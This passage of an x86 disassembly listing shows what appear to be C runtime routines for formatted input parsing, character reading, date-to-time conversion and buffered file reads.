loc_41B226:				; CODE XREF: sub_41AD3D+4DBj
					; sub_41AD3D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41B237:				; CODE XREF: sub_41AD3D+4D6j
					; sub_41AD3D+4E7j
		cmp	ebx, 30h
		jnz	loc_41B485
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B285
		cmp	bl, 58h
		jz	short loc_41B285
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B26F
		push	6Fh

loc_41B269:				; CODE XREF: sub_41AD3D+55Bj
		pop	esi
		jmp	loc_41B485
; ---------------------------------------------------------------------------

loc_41B26F:				; CODE XREF: sub_41AD3D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41B482
; ---------------------------------------------------------------------------

loc_41B285:				; CODE XREF: sub_41AD3D+517j
					; sub_41AD3D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B269
; ---------------------------------------------------------------------------

loc_41B29A:				; CODE XREF: sub_41AD3D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B2A4
		mov	[ebp+var_16], 1

loc_41B2A4:				; CODE XREF: sub_41AD3D+561j
		mov	edi, offset dword_4380F8

loc_41B2A9:				; CODE XREF: sub_41AD3D+45Cj
					; sub_41AD3D+4CEj
		or	[ebp+var_18], 0FFh

loc_41B2AD:				; CODE XREF: sub_41AD3D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B2D1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B2D1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------

loc_41B2D1:				; CODE XREF: sub_41AD3D+584j
					; sub_41AD3D+589j
		mov	dl, [ebp+var_35]

loc_41B2D4:				; CODE XREF: sub_41AD3D+592j
					; sub_41AD3D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B339
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B320
		test	dl, dl
		jz	short loc_41B320
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B320
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B2F3
		mov	al, cl
		jmp	short loc_41B2F7
; ---------------------------------------------------------------------------

loc_41B2F3:				; CODE XREF: sub_41AD3D+5B0j
		mov	al, dl
		mov	dl, cl

loc_41B2F7:				; CODE XREF: sub_41AD3D+5B4j
		cmp	dl, al
		ja	short loc_41B31C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41B304:				; CODE XREF: sub_41AD3D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B304

loc_41B31C:				; CODE XREF: sub_41AD3D+5BCj
		xor	dl, dl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------

loc_41B320:				; CODE XREF: sub_41AD3D+5A0j
					; sub_41AD3D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------

loc_41B339:				; CODE XREF: sub_41AD3D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B743
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B34B
		mov	[ebp+arg_4], edi

loc_41B34B:				; CODE XREF: sub_41AD3D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B362:				; CODE XREF: sub_41AD3D+6BCj
					; sub_41AD3D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B376
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B412

loc_41B376:				; CODE XREF: sub_41AD3D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B406
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B406
		cmp	[ebp+var_E], 0
		jnz	short loc_41B3FE
		cmp	[ebp+var_16], 0
		jz	short loc_41B3F3
		mov	ecx, off_437D90
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B3D2
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		mov	[ebp+var_37], al

loc_41B3D2:				; CODE XREF: sub_41AD3D+686j
		push	dword_437F9C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DFCD
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B3F6
; ---------------------------------------------------------------------------

loc_41B3F3:				; CODE XREF: sub_41AD3D+673j
		mov	[esi], al
		inc	esi

loc_41B3F6:				; CODE XREF: sub_41AD3D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B362
; ---------------------------------------------------------------------------

loc_41B3FE:				; CODE XREF: sub_41AD3D+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B362
; ---------------------------------------------------------------------------

loc_41B406:				; CODE XREF: sub_41AD3D+649j
					; sub_41AD3D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B412:				; CODE XREF: sub_41AD3D+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B6A4
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B444
		and	word ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B444:				; CODE XREF: sub_41AD3D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B44C:				; CODE XREF: sub_41AD3D+466j
		mov	[ebp+var_D], 1

loc_41B450:				; CODE XREF: sub_41AD3D+203j
					; sub_41AD3D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41B45E
		mov	[ebp+var_17], 1
		jmp	short loc_41B463
; ---------------------------------------------------------------------------

loc_41B45E:				; CODE XREF: sub_41AD3D+719j
		cmp	ebx, 2Bh
		jnz	short loc_41B485

loc_41B463:				; CODE XREF: sub_41AD3D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41B474
		cmp	[ebp+var_20], 0
		jz	short loc_41B474
		mov	[ebp+var_F], 1
		jmp	short loc_41B485
; ---------------------------------------------------------------------------

loc_41B474:				; CODE XREF: sub_41AD3D+729j
					; sub_41AD3D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax

loc_41B482:				; CODE XREF: sub_41AD3D+543j
		mov	[ebp+var_14], ebx

loc_41B485:				; CODE XREF: sub_41AD3D+4FDj
					; sub_41AD3D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B59E
		cmp	[ebp+var_F], 0
		jnz	loc_41B57C

loc_41B499:				; CODE XREF: sub_41AD3D+82Cj
		cmp	esi, 78h
		jnz	short loc_41B4ED
		cmp	dword_437F9C, 1
		jle	short loc_41B4B6
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B4C3
; ---------------------------------------------------------------------------

loc_41B4B6:				; CODE XREF: sub_41AD3D+768j
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41B4C3:				; CODE XREF: sub_41AD3D+777j
		test	eax, eax
		jz	loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E0C0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B540
; ---------------------------------------------------------------------------

loc_41B4ED:				; CODE XREF: sub_41AD3D+75Fj
		cmp	dword_437F9C, 1
		jle	short loc_41B502
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B50D
; ---------------------------------------------------------------------------

loc_41B502:				; CODE XREF: sub_41AD3D+7B7j
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B50D:				; CODE XREF: sub_41AD3D+7C3j
		test	eax, eax
		jz	short loc_41B56E
		cmp	esi, 6Fh
		jnz	short loc_41B52B
		cmp	ebx, 38h
		jge	short loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E0C0
		jmp	short loc_41B53A
; ---------------------------------------------------------------------------

loc_41B52B:				; CODE XREF: sub_41AD3D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4159A0

loc_41B53A:				; CODE XREF: sub_41AD3D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41B540:				; CODE XREF: sub_41AD3D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B558
		dec	[ebp+var_C]
		jz	short loc_41B57C

loc_41B558:				; CODE XREF: sub_41AD3D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B499
; ---------------------------------------------------------------------------

loc_41B56E:				; CODE XREF: sub_41AD3D+788j
					; sub_41AD3D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B57C:				; CODE XREF: sub_41AD3D+756j
					; sub_41AD3D+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B662
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B662
; ---------------------------------------------------------------------------

loc_41B59E:				; CODE XREF: sub_41AD3D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B65A

loc_41B5A8:				; CODE XREF: sub_41AD3D+90Aj
		cmp	esi, 78h
		jz	short loc_41B5EC
		cmp	esi, 70h
		jz	short loc_41B5EC
		cmp	dword_437F9C, 1
		jle	short loc_41B5C7
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B5D2
; ---------------------------------------------------------------------------

loc_41B5C7:				; CODE XREF: sub_41AD3D+87Cj
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B5D2:				; CODE XREF: sub_41AD3D+888j
		test	eax, eax
		jz	short loc_41B64C
		cmp	esi, 6Fh
		jnz	short loc_41B5E5
		cmp	ebx, 38h
		jge	short loc_41B64C
		shl	edi, 3
		jmp	short loc_41B624
; ---------------------------------------------------------------------------

loc_41B5E5:				; CODE XREF: sub_41AD3D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B624
; ---------------------------------------------------------------------------

loc_41B5EC:				; CODE XREF: sub_41AD3D+86Ej
					; sub_41AD3D+873j
		cmp	dword_437F9C, 1
		jle	short loc_41B604
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B611
; ---------------------------------------------------------------------------

loc_41B604:				; CODE XREF: sub_41AD3D+8B6j
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41B611:				; CODE XREF: sub_41AD3D+8C5j
		test	eax, eax
		jz	short loc_41B64C
		push	ebx
		shl	edi, 4
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41B624:				; CODE XREF: sub_41AD3D+8A6j
					; sub_41AD3D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B636
		dec	[ebp+var_C]
		jz	short loc_41B65A

loc_41B636:				; CODE XREF: sub_41AD3D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B5A8
; ---------------------------------------------------------------------------

loc_41B64C:				; CODE XREF: sub_41AD3D+897j
					; sub_41AD3D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx

loc_41B65A:				; CODE XREF: sub_41AD3D+865j
					; sub_41AD3D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B662
		neg	edi

loc_41B662:				; CODE XREF: sub_41AD3D+843j
					; sub_41AD3D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B66B
		and	[ebp+var_1C], 0

loc_41B66B:				; CODE XREF: sub_41AD3D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	short loc_41B6A4
		inc	[ebp+var_34]

loc_41B67E:				; CODE XREF: sub_41AD3D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B694
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B694:				; CODE XREF: sub_41AD3D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B6A1
		mov	[eax], edi
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B6A1:				; CODE XREF: sub_41AD3D+95Ej
		mov	[eax], di

loc_41B6A4:				; CODE XREF: sub_41AD3D+241j
					; sub_41AD3D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B6F1
; ---------------------------------------------------------------------------

loc_41B6AF:				; CODE XREF: sub_41AD3D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B71E
		mov	ecx, off_437D90
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B6F1
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B72C
		dec	[ebp+var_4]

loc_41B6F1:				; CODE XREF: sub_41AD3D+970j
					; sub_41AD3D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B707
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B749
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B749
		mov	esi, eax

loc_41B707:				; CODE XREF: sub_41AD3D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41AD67
		jmp	short loc_41B743
; ---------------------------------------------------------------------------

loc_41B713:				; CODE XREF: sub_41AD3D+1F4j
					; sub_41AD3D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B723
; ---------------------------------------------------------------------------

loc_41B71E:				; CODE XREF: sub_41AD3D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41B723:				; CODE XREF: sub_41AD3D+9DFj
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		jmp	short loc_41B743
; ---------------------------------------------------------------------------

loc_41B72C:				; CODE XREF: sub_41AD3D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		add	esp, 10h

loc_41B743:				; CODE XREF: sub_41AD3D+1Fj
					; sub_41AD3D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B75A

loc_41B749:				; CODE XREF: sub_41AD3D+9BDj
					; sub_41AD3D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B75D
		cmp	[ebp+var_15], al
		jnz	short loc_41B75D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B75D
; ---------------------------------------------------------------------------

loc_41B75A:				; CODE XREF: sub_41AD3D+A0Aj
		mov	eax, [ebp+var_34]

loc_41B75D:				; CODE XREF: sub_41AD3D+A11j
					; sub_41AD3D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B762	proc near		; CODE XREF: sub_41AD3D+7A3p
					; sub_41AD3D+8DCp

arg_0		= dword	ptr  4

		cmp	dword_437F9C, 1
		push	esi
		jle	short loc_41B77C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------

loc_41B77C:				; CODE XREF: sub_41B762+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_437D90
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B78B:				; CODE XREF: sub_41B762+18j
		test	eax, eax
		jnz	short loc_41B795
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41B795:				; CODE XREF: sub_41B762+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B762	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B799	proc near		; CODE XREF: sub_41AD3D+1E1p
					; sub_41AD3D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B7AB
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41B7AB:				; CODE XREF: sub_41B799+7j
		push	edx
		call	sub_41B8B0
		pop	ecx
		retn
sub_41B799	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7B3	proc near		; CODE XREF: sub_41AD3D+6Bp
					; sub_41AD3D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B7C9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E0DF
		pop	ecx
		pop	ecx

locret_41B7C9:				; CODE XREF: sub_41B7B3+5j
		retn
sub_41B7B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7CA	proc near		; CODE XREF: sub_41AD3D+63p
					; sub_41AD3D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41B7D0:				; CODE XREF: sub_41B7CA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B799
		mov	edi, eax
		push	edi
		call	sub_41E095
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7D0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B7CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7EE	proc near		; CODE XREF: sub_416AD4+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B8AA
		cmp	ebx, 8Ah
		jg	loc_41B8AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_438824[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B82D
		cmp	edi, 2
		jle	short loc_41B82D
		inc	esi

loc_41B82D:				; CODE XREF: sub_41B7EE+37j
					; sub_41B7EE+3Cj
		call	sub_41E14D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_438740
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B8A0
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B8A6
		cmp	dword_438744, 0
		jz	short loc_41B8A6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E3C0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B8A6

loc_41B8A0:				; CODE XREF: sub_41B7EE+90j
		add	ecx, dword_438748

loc_41B8A6:				; CODE XREF: sub_41B7EE+96j
					; sub_41B7EE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B8AD
; ---------------------------------------------------------------------------

loc_41B8AA:				; CODE XREF: sub_41B7EE+13j
					; sub_41B7EE+1Fj
		or	eax, 0FFFFFFFFh

loc_41B8AD:				; CODE XREF: sub_41B7EE+BAj
		pop	ebx
		leave
		retn
sub_41B7EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8B0	proc near		; CODE XREF: sub_416BB0+A9p
					; sub_41713C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B984
		test	al, 40h
		jnz	loc_41B984
		test	al, 2
		jz	short loc_41B8D6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B984
; ---------------------------------------------------------------------------

loc_41B8D6:				; CODE XREF: sub_41B8B0+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B8EA
		push	esi
		call	sub_41D06C
		pop	ecx
		jmp	short loc_41B8EF
; ---------------------------------------------------------------------------

loc_41B8EA:				; CODE XREF: sub_41B8B0+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41B8EF:				; CODE XREF: sub_41B8B0+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B973
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B973
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B948
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B931
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_46A7E0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B936
; ---------------------------------------------------------------------------

loc_41B931:				; CODE XREF: sub_41B8B0+6Bj
		mov	edi, offset dword_4383F0

loc_41B936:				; CODE XREF: sub_41B8B0+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B948
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41B948:				; CODE XREF: sub_41B8B0+62j
					; sub_41B8B0+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B965
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B965
		test	ch, 4
		jnz	short loc_41B965
		mov	dword ptr [esi+18h], 1000h

loc_41B965:				; CODE XREF: sub_41B8B0+9Fj
					; sub_41B8B0+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B8B0+55j
					; sub_41B8B0+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41B984:				; CODE XREF: sub_41B8B0+Aj
					; sub_41B8B0+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B8B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B989	proc near		; CODE XREF: sub_416BB0+90p
					; sub_41B8B0+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_46A8E0
		jnb	loc_41BB66
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46A7E0h[eax*4]
		mov	eax, dword_46A7E0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BB66
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BA3E
		test	dl, 2
		jnz	short loc_41BA3E
		test	dl, 48h
		jz	short loc_41B9FE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B9FE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41B9FE:				; CODE XREF: sub_41B989+56j
					; sub_41B989+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_421068
		test	eax, eax
		jnz	short loc_41BA51
		call	dword_421088
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BA39
		mov	dword_4694B4, 9
		mov	dword_4694B8, ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------

loc_41BA39:				; CODE XREF: sub_41B989+99j
		cmp	eax, 6Dh
		jnz	short loc_41BA45

loc_41BA3E:				; CODE XREF: sub_41B989+4Cj
					; sub_41B989+51j
		xor	eax, eax
		jmp	loc_41BB7A
; ---------------------------------------------------------------------------

loc_41BA45:				; CODE XREF: sub_41B989+B3j
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------

loc_41BA51:				; CODE XREF: sub_41B989+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BB61
		test	edx, edx
		jz	short loc_41BA76
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BA76
		or	al, 4
		jmp	short loc_41BA78
; ---------------------------------------------------------------------------

loc_41BA76:				; CODE XREF: sub_41B989+E2j
					; sub_41B989+E7j
		and	al, 0FBh

loc_41BA78:				; CODE XREF: sub_41B989+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BB5B

loc_41BA90:				; CODE XREF: sub_41B989+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BB4B
		cmp	al, 0Dh
		jz	short loc_41BAAC
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BAAC:				; CODE XREF: sub_41B989+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
